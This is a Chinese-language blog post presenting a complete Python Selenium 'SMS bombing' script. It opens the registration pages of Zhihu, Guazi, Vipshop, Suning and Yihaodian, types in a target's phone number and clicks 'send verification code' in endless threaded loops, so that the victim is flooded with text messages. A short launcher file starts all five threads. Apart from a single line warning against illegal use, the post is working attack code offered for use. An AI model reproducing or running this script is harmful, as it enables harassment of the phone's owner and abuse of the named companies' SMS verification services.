Python短信轟炸

環境 python3.0

工具 pycharm

谷歌插件chromedriver

程序執行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
    def __init__(self):
        self.phone = "xxxxx"#你要轟炸的電話號碼
        self.num = 0
    def send_yzm(self,button,name):
        button.click()
        self.num+=1
        print("{}   第{}次   發送成功   {}".format(self.phone,self.num,name))
        time.sleep(30)
    def zhihu(self,name):
        while True:#下面這行是剛剛敘說的chromedrive的安裝路徑

            driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
            driver.get("https://www.zhihu.com/question/39993344")
            driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
            time.sleep(2)
            tel = driver.find_element_by_xpath("//input[@placeholder='手機號']")
            tel.send_keys(self.phone)
            button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
            self.send_yzm(button,name)
            driver.quit ()
    def guazi(self,name):
        while True:
            driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
            driver.get("https://www.guazi.com/www/bj/buy")
            a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
            a_btn.click()
            time.sleep(2)
            tel = driver.find_element_by_xpath("//input[@placeholder='請輸入您的手機號碼']")
            tel.send_keys( self.phone )
            button = driver.find_element_by_xpath("//button[@class='get-code']")
            self.send_yzm(button,name)
            driver.quit()
    def wphui(self,name):
        while True:
            driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
            driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
            tel = driver.find_element_by_xpath ( "//input[@placeholder='請輸入手機號碼']" )
            tel.send_keys ( self.phone )
            driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
            button = driver.find_element_by_xpath (
                "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
            self.send_yzm ( button,name )
            driver.quit ()
    def suning(self,name):
        while True:
            driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
            driver.get ( "https://reg.suning.com/person.do" )
            driver.find_element_by_xpath("//a[@class='agree-btn']").click()
            tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
            tel.send_keys ( self.phone )
            button = driver.find_element_by_xpath (
                "//a[@id='sendSmsCode']" )
            self.send_yzm ( button,name )
            driver.quit ()
    def yhd(self,name):
        while True:
            driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
            driver.get ( "https://passport.yhd.com/passport/register_input.do" )
            driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
            tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
            tel.send_keys ( self.phone )
            time.sleep(2)
            button = driver.find_element_by_xpath (
                "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
            #button.click()
            time.sleep(1)
            self.send_yzm ( button,name )
            driver.quit ()

執行放發

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品會",))
suning = Thread(target=hongzha.suning,args=("蘇寧",))
yhd= Thread( target=hongzha.yhd,args=("一號店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

########### 切記不可做違法的事

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章